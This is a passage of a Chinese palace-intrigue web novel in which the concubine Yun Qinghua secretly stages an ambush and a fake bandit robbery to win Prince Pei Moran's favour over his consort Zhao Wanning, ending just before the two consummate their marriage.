她不太情愿地点头,脸红得跟醉酒似的,用玉棍剜着膏药涂抹在他的胸口处、臂膀上以及腰腹上。 都是皮外伤,很浅。 是在他脱下盔甲时,被近身的细作所伤。 “好了。”云清婳准备下榻放药膏。 可裴墨染却攥住她的手,放到腰上,哑声道:“下身还有。” 她臊得不行,立马背过身,“那您自己抹。” 二人僵持了半天,最后还是裴墨染自己上了药。 今夜二人相拥而眠。 半夜裴墨染口干舌燥,偏偏云清婳睡觉还不老实,翻来覆去的,蹭得他心猿意马。 他最后洗了冷水澡才平静下来。 …… 翌日清早,送走裴墨染,云清婳便道:“将王爷要陪我去郊野赏枫的消息放出去。” “是。”飞霜立即安排人去办。 云清婳又提笔写了封信,她交给飞霜,“你亲自把这封信交给城外的山匪,他们会帮我们一个大忙。” 飞霜眼底隐隐的跳动着兴奋。 她有预感,主子在下一盘足以让赵婉宁悔不当初的大棋! …… 在云清婳跟裴墨染相约去郊野踏青的清晨,赵婉宁也牵着自己的马来了。 看到赵婉宁,云清婳的眸底写满了委屈,她下意识看向裴墨染。 可裴墨染只是尴尬地躲闪开她的注视。 赵婉宁牵着裴墨染的手,勾唇道:“云妹妹,我随你跟王爷去赏枫,不会扫了你的雅兴吧?” 这话嘲讽、埋汰的意味十足。 “妾身不敢。”云清婳逼着自己挤出笑。 裴墨染有些煎熬。 今早,婉宁临时说想要跟他们一同去郊野,他实在没办法因为其他女人拒绝婉宁。 他心中的愧疚不断加深。 尽管已经穿了便服,戴了面纱,可云清婳不愿在街上骑马,她上了马车。 转身的瞬间,云清婳嘴边的笑弧不断扩大,笑靥妖冶。 就怕你不来呢,赵婉宁! 这一次,可是你亲手把裴墨染推给我的。 第22章 蛮蛮为他挡刀,王妃怂了 赵婉宁熟稔地翻身上了裴墨染的红鬃烈马,想要跟他共乘一骑。 她也是希望凭借此举,可以让裴墨染回忆起三年前她陪他在边关吃苦的时光。 “王爷,您快来啊……”她催促着。 可扭头一看,只见裴墨染已经跟着云清婳上了马车。 赵婉宁气得差点咬碎银牙,抽马背的动作都狠了几分,策马扬鞭,扬长而去。 马车内,云清婳的眼泪在眼眶打转,可她却装作淡然的模样,“夫君,您陪着王妃就好。” 裴墨染为她揩去眼泪,“蛮蛮,是婉宁自己想来的,本王疼你,但她也委屈,你能理解的对吗?” “您别管妾身了,您跟王妃才是夫妻,是妾身矫情了。”云清婳的笑容愈发灿烂,可酸楚的眼泪却打破了她的伪装。 裴墨染的心抽搐了下。 他想一碗水端平,至少让云清婳感觉自己是被疼爱的,可…… 裴墨染微不可闻地叹了口气,正色解释:“婉宁曾经为本王挡过一箭,她为了本王差点丢了性命,不是本王厚此薄彼,而是她对本王的恩情在前。” 他说这些,也是为了点拨云清婳——婉宁肯为本王献出生命,你的感情能跟婉宁的相提并论吗?所以不要委屈了! “妾身知道了。”云清婳扑进他的怀里,眼底闪过讥诮。 赵婉宁舍得为你挡箭,那是因为她抢了姐姐的剧情,她知道挡那一箭不会死,还会让你感恩戴德! 这一次,你再看看呢? …… 枫叶红遍了山坡,登高望远,可以眺望山下的风景。 此次出行,裴墨染只象征性地带了几个护卫。 赵婉宁宣誓主权般的,牵着裴墨染的手,在前面说说笑笑。 而云清婳慢吞吞地走在后面,存在感趋近于零。 她黯然神伤,一言不发。 赵婉宁瞥见她失落的表情,心里无比的痛快。 贱人! 想跟她抢男人,配吗? 而裴墨染却心不在焉,他不动声色地抽回手,时不时回头去看被远远甩在后面的云清婳。 云清婳总是坚强地对他挤出笑,表示自己没事。 这让他的心莫名难受起来。 他不曾苛待她…… 可为何好像让云清婳受了天大的委屈? 几人走到了枫林深处,脚踩着枫叶咔咔作响。 忽地,一伙蒙面人拿着砍刀从暗处跳出来,“裴家狗贼,去死吧!” 蒙面人跟侍卫打了起来,刀光剑影,暗箭纵飞。 刺客人多势众,而侍卫只有区区三人,很快就落了下风。 裴墨染从马背上取下长剑,将赵婉宁护在身后,“这些是前朝余孽!婉宁,你带着蛮蛮先走。” “好。”赵婉宁的眼中闪过怨毒。 “夫君当心。”云清婳担忧道。 “嗯。”裴墨染柔和地看了她一眼,便冲上前去杀敌。 这些刺客的武功不低,但在裴墨染看来,跟花拳绣腿无异。 赵婉宁拉着云清婳的手,“云妹妹,我们快走,别给王爷添乱。” “妾身听您的。”她乖巧地被赵婉宁牵着就跑。 但她很快就发现这是悬崖的方向。 她万万没想到赵婉宁蠢坏到如此地步,居然想趁机杀了她? 很快,几个黑衣人就拦住她们的去路,一记手刀将她们打晕。 …… 另一边,尸体遍地,两败俱伤。 裴墨染感觉天旋地转,头昏脑涨,他轰然倒地。 不知何时,他居然中了蒙汗药…… 刺客几乎全军覆没,而刺客头子段南天立即将他绑了起来。 …… 裴墨染再次醒来时,发觉自己置身于一个简陋的木屋之中。 “裴墨染是吧?看在你驱除瓦剌的份上,在你死前,给你看样好东西。”段南天狞笑。 裴墨染的武功极其深厚,此时已然恢复体力,手腕轻轻一扭,就能挣脱麻绳,将段南天一击毙命。 他正欲发力,段南天便道:“你难道不想看看两个女人谁更爱你?我帮你测测如何?” 裴墨染的黑瞳微沉,年少不可得之物,终将困其一生。 他是渴望被爱的…… 毫无悬念,裴墨染收回动作,缄默不语。 隔壁的房中,很快也响起了声音。 云清婳、赵婉宁转醒。 “狗贼!快放我们出去!否则王爷不会放了你们!”赵婉宁傲慢地呵斥。 段南天踹开门,“臭娘们!死到临头还敢放肆!你们的王爷也被老子抓了。” 说着,他将裴墨染的佩剑掷了出去。 看到剑,赵婉宁的眸子一震。 原来的剧情根本没有这一段,而且裴墨染可是男主,他怎会落入敌人之手? 不,不可能! “休想骗人!王爷怎会被擒?”赵婉宁呼吸急促,明显慌了。 云清婳的小脸惨白,抽噎地哭了出来,“王妃,王爷怎会弃剑而逃?这不是王爷的作风,恐怕他说的是真的!” “还是这位小娘子聪明!裴墨染中了蒙汗药,懂了吗?”段南天放声大笑。 赵婉宁腿一软,扑通一声跪坐地上。 她怕死! 之前肯为裴墨染挡箭,那是知道自己绝对不会死。 可这次……她真的怕了。 毕竟她不是真女主,没有女主光环啊。 “无耻!”云清婳红着眼叱骂,悲痛无限。 段南天摸着下巴,心里思忖着,云小姐演技可真好啊。 他淫邪道:“老子就无耻!若是你们陪我睡一觉,把我伺候舒服了,兴许我会放过裴墨染的狗命!” “呜呜……”云清婳吓得啜泣。 一墙之隔,裴墨染的唇勾出一抹讥诮。 这就被吓哭了? 云清婳的喜欢,果然廉价。 怎比得上婉宁? 可紧接着,赵婉宁便道:“你休想!” 云清婳抽抽噎噎的开口,“我愿意!我知道这位侠士或许会出尔反尔,就算我牺牲清白,您也不会放过我们,可万一您是重诺守信的仁义侠士呢?” “王妃,倘若您跟王爷能得救,妾身也无颜苟活,只请您到时候为妾身向王爷澄清心意。” 赵婉宁像是抓住了救命稻草,她将云清婳推了出去,“好!我答应你!” “啧,好可怜的小娘子,我都感动了。你这娘们!看来你对裴墨染的真心,不如这位小娘子啊。”段南天嘲讽。 赵婉宁心中迷茫,不知道怎么回答。 隔壁的裴墨染再也听不下去。 他微微用力就挣开了麻绳,黑着脸踹开门,朝着隔壁走去。 裴墨染犹如神兵天降,猝然来到段南天身后。 几乎同时,段南天意识到身后有人,飞速转身,掏出匕首就往裴墨染刺去。 赵婉宁吓得腿软,跌坐在原地。 “王爷!”云清婳冲上前,挡在裴墨染面前。 匕首刺进了云清婳的肩膀。 “啊……”云清婳痛苦地呻吟,眼泪无意识地从眼尾落下。 她的瞳孔涣散,虚虚看着赵婉宁悔恨的脸庞。 呵,赵婉宁,现在,我也是裴墨染的救命恩人了呢。 你的筹码,还剩什么? 裴墨染心疼地抱住云清婳,“蛮蛮!” 段南天趁机夺门而逃。 裴墨染想要追,可却放不下怀里的人儿,只能作罢。 他怒火中烧,恨绝了段南天。 可视线触及瘫倒在地的赵婉宁,只觉得心寒。 赵婉宁的心口吃痛,裴墨染的眼神,像在看一个陌生人。 裴墨染抱着昏迷的云清婳转身就走,不分一个眼神给赵婉宁。 方才的经过,他都听见了。 赵婉宁的表现,太让他失望了。 第23章 蛮蛮要陪本王一辈子 明明三年前,她不是这样的! 她何时变得这么自私? 赵婉宁心慌意乱,她凄凄地叫道:“王爷……” “……”裴墨染没有应声。 …… 云清婳昏迷了三日,刀伤引起了温热,让她的意识浮浮沉沉。 她梦见了姐姐。 姐姐医术高明,救人无数,游历山川时,救治了段南天一伙人,被黑白两道之人敬重。 可转眼,姐姐就在破庙里被十几个男人按在地上凌虐侮辱。 她哭得撕心裂肺,可男人们却更加兴奋,宛若魔鬼…… “呜呜……”云清婳梦中抽泣,哭得好不可怜。 飞霜心疼地拧了帕子,想给她擦拭,可裴墨染却抢过帕子,“本王来吧。” 他心疼地攥着她的手,为她揩去脸上的泪与汗。 她已经哭了好几次了,可就不见醒。 “蛮蛮,别怕,本王在呢。”裴墨染安抚地说。 他原本怀疑此次的刺杀,跟云清婳有关。 他莫名中了药,行踪也被泄露,除了云清婳,他想不到其他可能。 可看到她吓到惊厥、哭泣、温热,他便打消了所有疑虑,这些反应不是能装出来的。 “咳咳……”云清婳的手指微屈,眼皮子轻颤,缓缓睁开。 “主子,您喝点水吧。”飞霜双手捧着茶杯。 裴墨染立即从飞霜手里抢走茶杯,抬起云清婳的脑袋,亲自喂她喝,“蛮蛮,你终于醒了。” 云清婳大口喝水,意识渐渐清明,她哑声道:“夫君,妾身以为再也见不到您了。” “傻,蛮蛮要长命百岁,为本王生儿育女,陪本王一辈子。”裴墨染心疼地说。 后面的飞霜冲裴墨染翻白眼。 好家伙! 这些“祝福”,都是利你的! “夫君……嘶……”云清婳想要抱他,可牵扯到伤口,疼得浑身颤抖。 裴墨染忙将她的脑袋放回枕上,他严肃道:“不许动了。” “嗯。”她乖巧点头。 就在这时,门外传来宝音焦急的声音,“王爷,求您去看看王妃吧!王妃已经三天没吃饭了。” 裴墨染重重出了口气,他只沉默片刻,便转身离去。 看着他离开的背影,云清婳的眸子倏地冰冷。 “真绝情!您为他挡了一刀,他说走就走!”飞霜气得跺脚,很为自家主子不值。 云清婳疼得倒吸了口凉气,“段南天真是有病!下手没轻没重,让他扎轻点,他扎这么深。” 飞霜连忙端来药,喂她服下,“段南天可惨了。裴云澈心疼您,每天找借口来府上想看您,还派人去追杀他。” “裴云澈这狗贼,千万别暴露了。”云清婳想起裴云澈就心烦,“对了,此事做得干净吗?” 飞霜附在她耳边道:“已经把脏水往睿王身上泼了。” 云清婳颔首。 …… 清心阁。 裴墨染浑身环绕着森然的冷气,他黑着脸踏入花厅,只见赵婉宁正有气无力地趴在桌前。 他看到她这副要死不活的模样,心里也很不好受,“闹够了吗?” “王爷不肯见我,我怎么吃得下饭?”赵婉宁的声音干涩。 裴墨染鬓角的青筋鼓起,提起这件事,他就来气。 为何三年前肯为他献出生命的人,三年后却贪生怕死了? 这就是爱他的表现吗? 段南天当初那句‘看来你对裴墨染的真心,不如这位小娘子’,如同一根刺深深扎在他心里。 “王爷,当时我也想为您挡刀,可是我的脚崴了,行动不便。”赵婉宁解释着。 裴墨染想相信她,可已经无从查证,此事终将永远变成一个疑影。 忽地,赵婉宁扯开衣领,露出肩膀。 接近心口的位置,有一个圆形的疤痕,正是当年为他挡箭所受的箭伤。 “王爷难道不相信我的真心?”赵婉宁红着眼反问。 裴墨染的心中的阴郁被抚平一半,他上前为她将衣领拉上,无奈道:“你的真心,本王自然知晓。” “王爷……我真的好怕,怕你误会我,怕你因为此事跟我生了嫌隙,从而喜欢上云清婳。”赵婉宁罕见地流露出脆弱。 这绝对是真情流露,因为她真的慌了。 当初裴墨染是因为她挡箭,才对她心生悸动,若是云清婳挡刀,他会不会也对云清婳心动? 裴墨染揉了揉她的脑袋,被她身上浓重的香粉味、头油香熏得难受。 蛮蛮从不涂脂抹粉,身上只有淡淡的香气。 他收回手,严肃地说:“婉宁,不要乱想。但此次蛮蛮重伤,云家乃至许多官小姐都送来拜帖,想要探望。本王必须给云家一个交代。” 赵婉宁的脸抽搐了下,“什么交代?” “本王得跟蛮蛮圆房。”裴墨染觉得此时正是说明的好机会。 赵婉宁的眼底尽是慌乱,她摇头,“可、可是您答应过我,您不会碰其他女人……” “婉宁,事已至此,别无他法!”裴墨染按着她的双肩,眼中滚动着阴云,“本王的志向你是知道的,为此,本王愿牺牲一切。” 他如同一个上位者,高高在上地砸下命令,威压众生。 赵婉宁即使想闹,也不敢再闹,“……” 从前,裴墨染宠着她,她即使尊卑不分、对他不敬也无妨。 但这不代表,裴墨染真的将一个女人放置在自己之上! 如今他想收回赵婉宁的一切荣光也是轻而易举。 “云清婳是京中第一贵女,官僚之女哪怕是跟她吃几次茶,名声就能被跟着捧上天!她的人脉甚广,更别提云丞相了,你明白吗?”裴墨染恩威并施,语气又变得亲和。 赵婉宁彻底没话说了,谁让她只是县令之女呢? “嗯。”她的喉头闷闷的,声线都在颤。 裴墨染命人给她备了膳食,便离开了。 等人走以后,赵婉宁直接将桌子掀翻了,她双眼布满红血丝,目眦欲裂,“贱人!贱人!” 众婢女吓得瑟瑟发抖。 “凭什么?凭什么?”赵婉宁的眼泪夺眶而出,一边砸着茶盏,一边喃喃地念着。 凭什么谢容音就能跟裴墨染一生一世一双人,换成她就不可以?! 凭什么? 宝音将婢女屏退,她关上门窗后,怯生生地劝道:“王妃,不如您先跟王爷圆房?抢了这个贱人的风头?” “可是……”赵婉宁下意识捂住腹部。 宝音宽慰道:“云清婳这个贱人,就算能伺候王爷又如何?她指不准哪天就死了,一个玩意儿罢了,跟您比不得的。” “对!她会死的!”赵婉宁福至心灵,眼神倏地冰冷。 …… 天黑透了,裴墨染去了玄音阁。 沐浴后,他轻手轻脚上榻。 云清婳瞥了他一眼,酸溜溜地说:“夫君可真忙。” 裴墨染微怔,随后才反应过来,他方才的确是抛下她,去找了赵婉宁。 他抚摸着她的脸颊,“婉宁绝食了三日,本王去看看而已。” “……”云清婳不理他。 裴墨染不喜欢她的冷淡,他撑起身,看着她的双眼,“蛮蛮,本王并非无情无义之人,你为本王挡刀,本王自然会记挂在心上,现在你还不相信本王的真心?” 第24章 梦游,踹裴墨染下榻 “……”云清婳仍旧沉默。 裴墨染也累了,他不愿再哄,扯着被褥躺下便阖上了双眼。 云清婳扭过脸,看着他就来气。 狗男人! 为你挡刀,你也没多感动啊。 她伸出脚,朝着他的腿狠狠一蹬。 裴墨染躺在外侧,一个疏忽竟滚到床榻下。 而云清婳却阖着眼,好整以暇地装睡。 他震惊之余,只剩下羞恼。 她简直放肆! 他正想开口训斥,可看到云清婳肩膀上的纱布还渗着血,不甘地阖上了嘴。 “……”裴墨染瞪了她好半晌,然后气闷地重新躺回榻上。 等她的伤好了,他一定不会放过她。 云清婳感受到他在气闷,她就不气闷了。 果然,根据能量守恒,郁闷不会消失,只会转移。 …… 伤势养了三日,各个府上的补品就源源不断送进了玄音阁。 皇后甚至还派来了白嬷嬷探望她。 对此,云清婳司空见惯,给各个府上都简单回了礼。 裴墨染却是第一次见这场面,他切身体会到云清婳的价值究竟有多大。 正逢太后的生辰,裴墨染特意带了云清婳进宫。 云清婳的伤势未愈,简单梳了堕马髻,发间只插着白玉梳篦,耳朵上戴着一对珍珠耳坠,罕见地穿着桃色掐丝菡萏襦裙,不张扬也不寡淡。 裴墨染看着她眼前一亮,像是一幅山水画添上了浓墨重彩的一笔。 平日她不打扮,便已然状貌若画,今日穿着鲜艳,更是夺目。 宴席上,云家人都牵着云清婳的手诉说心疼。 许多世家贵女也来问候,甚至送上了事先备好的补品。 裴墨染欣赏地看着云清婳,眼睛眨都不眨。 赵婉宁差点咬碎银牙。 这贱人有什么了不起? 上首,太后看着云清婳,露出满意的笑,“清婳是个好的,双眸清澈,谈吐不凡。” 她的目光又转到表情扭曲的赵婉宁身上,无奈地长叹了一声。 皇后自然明白太后的意思,她低声道:“母后,本宫实在没办法了,墨染还没跟清婳圆房。赵婉宁又是个没用的,这么久了,也怀不上。” 太后意味深长道:“放心吧。” …… 宴席后,太后召见了裴墨染三人。 去慈宁宫的路上,赵婉宁不安地看着裴墨染,“王爷……” 裴墨染蹙眉,“皇祖母宅心仁厚,又不会吃了你。” “可是她不喜我。”赵婉宁最头疼太后那个老不死的。 所有孙媳,老虔婆都满意。 唯独除了她! 每次对她都是一通说教,让她丢过不少脸面。 裴墨染只觉得心烦,他向来敬重皇祖母,皇家亲缘淡薄,只有在皇祖母身上,他能体会片刻温暖。 可婉宁却不讨皇祖母喜欢。 宫殿中。 太后正跪在佛龛前诵经。 裴墨染倚着门,抱臂静静看着。 而云清婳却跟着跪在太后身侧,她低声背诵《心经》。 一炷香后,太后欣赏地看着云清婳,嘴角含笑,对她的喜欢溢于言表。 “好孩子,你也时常礼佛?” 云清婳扶太后起身,她含笑摇头,“跟您比不得,妾身只是在家时跟着母亲学习,略懂皮毛。” 二人谈论着佛法,云清婳把太后逗得呵呵笑。 裴墨染在一旁看着,嘴角不自觉的上扬。 而赵婉宁却分外煎熬,表情愈发难看。 太后看向裴墨染,她和蔼道:“墨染真是有福了,一个武将,配了个这样知书达理的妻子。” 后面的赵婉宁的瞳孔地震,视线不安地射向裴墨染。 她才是裴墨染的妻子! 云清婳这个贱人才不配! “皇祖母是在贬低孙儿学问浅?”裴墨染不悦,罕见地在宫中展露出真正情绪。 太后将云清婳的手跟裴墨染的手放在一起,“你既然知道,日后就跟着清婳好好学!” “知道了。”裴墨染扭头,笑看着云清婳。 可云清婳却飞速抽回手,低着头。 裴墨染蹙眉。 上次他被踹下榻后,因为公务繁忙,就没去过玄音阁,所以他们相当于还在冷战。 太后看出了二人有嫌隙,她道:“哀家的后院有一棵百年菩提树,清婳去看看?” “是。”云清婳明白太后的意思。 太后大抵是她的“同盟”,要帮她收拾赵婉宁了。 …… 云清婳一进后花园,便看见菩提树下站着一个穿着清贵长袍的男子。 男人面容俊美,可眼底却燃烧着熊熊火焰。 裴云澈屏退了所有宫人,他表面上温润如玉,可气场冷得几乎要把人冻住。 “……”云清婳感受到了他的愤怒,心颤了颤。 她真的很烦。 别人打一份工,可她却同时打两份工! 应付完裴墨染那条狼狗,还要应付裴云澈这条疯狗。 “蛮蛮。”裴云澈清泓的眼底酝酿着一片暴风雨。 “殿下。”她笑着作势往他怀里扑。 可裴云澈却一把攥住她的手腕。 云清婳的双眸倒映出茫然跟惊吓,“您……怎么了?” 他咬牙切齿道:“你变心了?” “我……”她的唇瓣颤抖,一脸迷茫。 裴云澈冷声质问:“你为何要帮裴墨染挡刀?你动心了,你爱上他了?” 他绝不能接受自己的女人爱上其他男人,这是耻辱! 这比让他吞了苍蝇还恶心! 云清婳说哭就哭,她使劲挣扎,“你放开我!对,我爱上他了!你别碰我!” 这让裴云澈更是气闷,他张开双臂抱住她,如同一条蟒蛇将她死死缠住,在她耳边吐着信子,“蛮蛮,你不该招惹本王!” “你弄疼我了……”她捂着右肩,娇啼出声。 裴云澈冷峻的眉眼有了松动,这才松开她,口中却恶毒地说:“你这是自作自受。” 云清婳瞪他,眼泪颗颗坠下,“对!我自作自受!我被歹人掳走,险些被夺了清白是活该,被裴墨染拉在身前挡刀也是活该!” 他倒吸了口气,气愤之余也安心了,“竖子!裴墨染居然敢这么对你?!” “您跟他又有什么区别?我心似已灰之木,原以为您能给我些慰藉,没曾想您却恶语相向!您想逼死我吗?”云清婳转身要走。 裴云澈立即捉住她的手,只是这次的动作很温柔,“蛮蛮,是本王小人之心,对不住。” 云清婳侧过脸去。 他为她揩去脸上的眼泪,眼底一片阴翳,“蛮蛮,等等本王,待本王上位,绝不会饶了裴墨染。” “待您上位,恐怕妾身早就被他们迫害……”她哭得更伤心了。 裴云澈捂住她的嘴,“谶言!本王还等着娶你呢,到时候,我们的孩子,本王会带在身边亲自教养。” 她羞涩的垂眼。 他牵起她的手,在她的手背上落下一吻。 如此孟浪,对裴云澈而言,已经是他能做到的极限了。 云清婳膈应得想吐。 她的手脏了! 忽地,圆栱门外传来脚步声。 二人立即分开。 裴墨染看着二人,眼底复杂。 “墨染,日后好好对待云侧妃。”裴云澈冷着脸交代。 他完全一副上位者的模样,是命令,不是寒暄。 裴墨染挤出笑,“皇兄放心,蛮蛮为本王挡刀,本王都记挂在心里。” 此话让裴云澈的火气上涌,他的手缓缓攥起,甩袖走了。 云清婳冷淡地瞥了裴墨染一眼,背过身去。 “方才,皇兄跟你说了什么?”裴墨染有些担心裴云澈挑拨离间。 裴云澈为人狡猾多思,定是不愿他跟云家交心的。 “聊了佛法罢了。”她淡淡道。 裴墨染松了口气,他将她推在菩提树的树干上,身子压了上来。 云清婳惊呼,“您做什么?” 第25章 您让蛮蛮做什么都行 “听说容易梦游的人,就该这样驱邪。”他恶劣地说。 她双颊一红,攥拳捶他胸口。 可他今日穿着盔甲,她的手受力,手指全被磕红了。 “嘶……好疼,都怪您,您又欺负妾身。”她吃痛地说。 裴墨染噗呲笑了,他拉过她的手,轻吹她的手指,“你打本王,还说本王欺负你?” “就是您欺负人。”她想要收回手,可他不允许。 裴墨染的手心朝上,笑道:“真笨,来,朝这儿打。” 她拍了一下他的手掌。 “走吧,皇祖母让本王叫你。”他伸手想牵她的手。 可云清婳躲避开。 裴墨染有些恼,她究竟想怎么样? 他哄也哄了,她还想怎么样? 真是…… …… 殿内。 嬷嬷进门后,脸上的笑根本藏不住,她福福身,“回太后娘娘,王爷跟云侧妃在后花园打闹呢,还不知何时才能回来。” 赵婉宁听到这里,心凉了半截。 她差点把唇瓣咬破。 太后欣慰地笑了,“他们是少年夫妻,理应如此。” “……”赵婉宁气得手都在颤抖。 呸! 那她算什么? 这个老虔婆,居然帮着小三,打压她这个正妻! 太后瞟见赵婉宁绿得发紫的脸,眼神愈发轻蔑。 她刮了刮茶盏上的沫子,悠悠道:“怎么样?想清楚了吗?” “臣妾不愿留下。”赵婉宁跪下,坚定地说。 太后常年礼佛,慈眉善目,远远看去就像一尊菩萨,可眸子却凌厉得很,此时竟有笑里藏刀的意味,“哀家不是让你选,而是在给你机会。” “你若自己说,哀家就赐你生子秘方,若让哀家说,也无妨。” 无非是让墨染跟她生了嫌隙,可祖孙俩,又会生几天气呢? 嬷嬷福礼,“王妃,这生子秘方极灵,先帝在时,有位老太妃服用此方,五十岁还诞下了双生子。” 赵婉宁心肝一颤。 这正是她需要的! 她含着泪,不甘心道:“多谢太后娘娘。” 太后满意的颔首。 好一会儿,裴墨染跟云清婳回到殿中。 “皇祖母,孙儿便不叨扰了,改日孙儿再来请安。”裴墨染道。 赵婉宁走上前,“王爷,我想留下来三日,陪皇祖母礼佛。” 裴墨染看着太后的笑脸,当即明白了什么。 看来,皇祖母跟婉宁做了交易。 婉宁为了好处,答应把他“让”给蛮蛮。 他阴沉下脸,“你确定?” “确定!”赵婉宁的手里紧紧攥着药方,心如刀割。 “好。”裴墨染转身就走。 若是婉宁主动让他宠幸蛮蛮,他会愧疚、感动。 可现在,他失望透顶! 相识多年,婉宁最后不是为了他的前途妥协,而是为了皇祖母的好处妥协。 她可真自私! 云清婳感激地看向太后,福礼后也走了。 …… 回到玄音阁后,云清婳用皂角将手洗了好几遍才罢休。 飞霜赶紧拿羊脂膏给她涂手,“主子,别洗了,再洗手都要脱皮了。” “真是恶心。”她想起裴云澈亲她手的画面都作呕。 飞霜哭笑不得,她道:“只是,您跟王爷还没和好?” “我要他着急,我才不急。”她胸有成竹道。 圆房这件事,主动的人,一定得是他。 免得后面又怪她勾引。 而另一边,裴墨染也等着云清婳低头。 毕竟婉宁只有三天不在府中,他们都知道婉宁的脾气,若是她回来了,免不了再生事端。 可第一天过去了,第二天过去了,直到第三天都不见云清婳的身影。 裴墨染终于急了。 他在军廨坐立难安,只想快点回府。 就在他准备离开内堂时,乾风送来急报,“王爷,云二公子押运赈灾银的路上,遇见山匪了。” “云二公子写信向京中求援,就在京外十里地。” “虽说云二公子会些拳脚,但毕竟是文官,恐怕凶多吉少。” 裴墨染登时笑了,他神采奕奕地坐回太师椅上,悠悠地翻看起了文书。 乾风不解,继续问:“王爷,可需派兵搭救?” “不急。”他摆手,示意他退下。 反正京外十里地那一片的山匪向来只图财,也不敢真杀人。 乾风一头雾水地退下。 见死不救,这不是王爷的作风啊。 过了一个时辰,乾风再次拱手来报,“王爷,云侧妃来了。” 裴墨染眼底闪过得逞,他颔首,“让她进来吧。” “是。” 云清婳是小跑进内堂的。 她含着泪,楚楚可怜地走到裴墨染身侧跪下,她带着哭腔道:“夫君……” 裴墨染看似不解,连忙扶她起身,“蛮蛮这是作甚?” “夫君,我二哥在京外十里地遇见山匪了,二哥看似身手矫健,实则外强中干,实在应付不得,求您搭救。”云清婳双手攥着他的衣袖。 裴墨染为她揩去眼泪,他大义凛然地说:“唉,蛮蛮,本王恐怕爱莫能助,本王职属军中,没有调令,怎能擅自带兵?” “妾身知道您武艺高强,您一定有办法的。”云清婳耍赖似的扑进他怀里。 温香软玉在怀,裴墨染心神荡漾,但他没有忘记目的。 他诱导道:“蛮蛮,本王若是为救你的家人违抗皇命也无妨,但不能置将士安危不顾。” 门外,乾风以及几位副将都在干着急。 多简单的事? 他们几个弟兄就能解决,调什么兵啊? 乾风蠢蠢欲动,他们都恨不得进门帮王爷把活儿揽下。 可诸葛贤却笑着拦住他们,他通透的双眼看穿了一切。 两位主子在拉锯、拿乔,就看谁先败下阵来。 门内,裴墨染继续道:“蛮蛮,私自调兵,代价太大了。” 云清婳是真的烦了。 狗东西! 演上瘾了是吧? 她抬眼,一双浑圆的眸子外翘内勾,似乎要把人的魂儿吸走,她害羞道:“夫君若能搭救二哥,只要蛮蛮能做到,您让蛮蛮做什么都行。” 裴墨染面上不动声色,可眼底的笑意快要喷薄而出。 他拎上佩剑,“好!” 裴墨染心照不宣,只一个眼神过去,几个副将就策马跟他走了。 速度之快,云清婳都忍不住笑了。 而京外的云二公子,正慵懒地坐在土堆上,他身后一堆山匪老实地抱头蹲着。 他什么也不知道,反正妹妹让他假装被劫持,他就被劫持。 思及此,他命手下把自己绑在树上。 这样逼真一些。 第26章 圆房 约莫过了一个时辰,裴墨染就赶来了…… 他准备速战速决,然后回府圆房! …… 玄音阁。 云清婳沐浴后,坐在铜镜前。 铜镜中倒映出娇媚的容颜,肤若凝脂,白皙如玉,美得引人心驰神往。 飞霜给她梳头,羞涩地问:“今晚要不要点些香薰助助兴?” “不必了,他今晚回不来了。”云清婳笃定。 “啊?”飞霜不解。 云清婳的脸上浮出几分阴冷,“我要让赵婉宁亲眼看到,心爱之人迫不及待去找别的女人,而她无可奈何,只能无能狂怒。” “呵……”飞霜光是想到那个场面,就已经迫不及待了。 云清婳安然睡了一觉,一夜好梦。 而裴墨染却在驿站心急如焚,如同百蚁噬心。 云二公子为了感激他,非拉着他喝酒。 …… 翌日,天蒙蒙亮,赵婉宁就从宫中赶回王府。 这三日,赵婉宁度日如年,她寝食难安,昼夜难眠。 只要一闭眼,她的脑海中就是裴墨染跟云清婳翻云覆雨,颠龙倒凤的画面。 她快疯了! 三天时间,够他们潇洒快活了吧? 日后,她绝对不允许裴墨染再碰云清婳一下。 正想着,就看见了云清婳。 “妾身见过王妃,王妃可曾用膳了?”云清婳关怀地问。 赵婉宁恨不得冲上前,扇这个贱人的脸。 她是在耀武扬威吗? “我才离府三日,王府何时轮到你当家了?”赵婉宁当众训斥,完全不给云清婳脸面。 云清婳抿着唇不语。 众嬷嬷以及管家虽然嘴上不说,但心里都觉得王妃刁蛮无状,苦了京城第一贵女。 宝音怕自家主子冲动,赶忙上前小声道:“王妃,王爷三日没回府,他们没成。” 此话一出,赵婉宁当即眉开眼笑,满脸的阴郁都散了。 看来裴墨染还是爱她的,所以为她守身如玉,没有碰这个狐狸精。 “云妹妹,你快回房歇着吧。”赵婉宁不打算跟她计较了,摆摆手,示意她退下。 机会给她了,可她不中用啊。 正说着,身后响起脚步声。 赵婉宁回头一看,裴墨染风尘仆仆地回来了。 他火急火燎,满眼都是云清婳。 昨晚做梦都是云清婳主动宽衣解带,惑人的勾他…… 他燥热难耐,半夜就骑马往京城赶,结果城门关了,守城的士兵跟死了一样,叫了半天才放他进去。 可在赵婉宁眼里,这是着急见自己的表现,她感动道:“王爷……” 裴墨染大步流星的走来,他对赵婉宁颔首,“婉宁,快回清心阁歇息吧,这几日伺候皇祖母,你辛苦了。” “我不辛苦。”赵婉宁感动道。 裴墨染敷衍地颔首。 “夫君,妾身的二哥……”云清婳一脸担忧地询问。 “……”裴墨染懒得听她说,抓住她的手腕,就往玄音阁的方向去。 赵婉宁难以置信地瞪大了双眼,她喊道:“王爷、王爷……” 可回应她的是更快的脚步声。 云清婳听见赵婉宁的叫声,险些笑出声。 她回过头去看赵婉宁,赵婉宁的脸都气成猪肝色了。 生气吗? 心痛吗? 好好感受吧。 …… 一进玄音阁,裴墨染就屏退婢女。 飞霜识趣地将门窗都关紧。 裴墨染捏着她的脸就胡乱啃噬,唇齿交缠,他的动作生涩而蛮横。 “唔……”云清婳娇嗔,“夫君,二哥怎么样了?” “他好得很!”裴墨染不耐的应声,将她按在屏风上又是一顿亲。 云清婳的小脸憋得通红,气喘吁吁时,他才放过她。 裴墨染实在难受,不想再忍,他正欲扯掉云清婳的腰带,云清婳却惊慌地按住他的手,“夫君,您干什么?” “蛮蛮昨日答应过本王的。”他哑声道。 云清婳蹙眉,“妾身答应什么了?您,您这样也太……现在是白天……” 裴墨染这才想起来,昨日云清婳只说了她能付出任何代价,却没具体说出什么。 这小狐狸! 够狡猾! “本王要你兑现承诺,跟本王圆房。”他手微微使力,便扯掉了她的腰带。 云清婳双手护胸,羞愤道:“那夫君也应该先沐浴啊。” 她看他的小眼神都带着嫌弃。 裴墨染气愤得不行,在她腰间掐了一下,就命人送水。 趁着狗男人沐浴,云清婳也换上了轻薄的藕粉色亵衣,她将发髻披散而下。 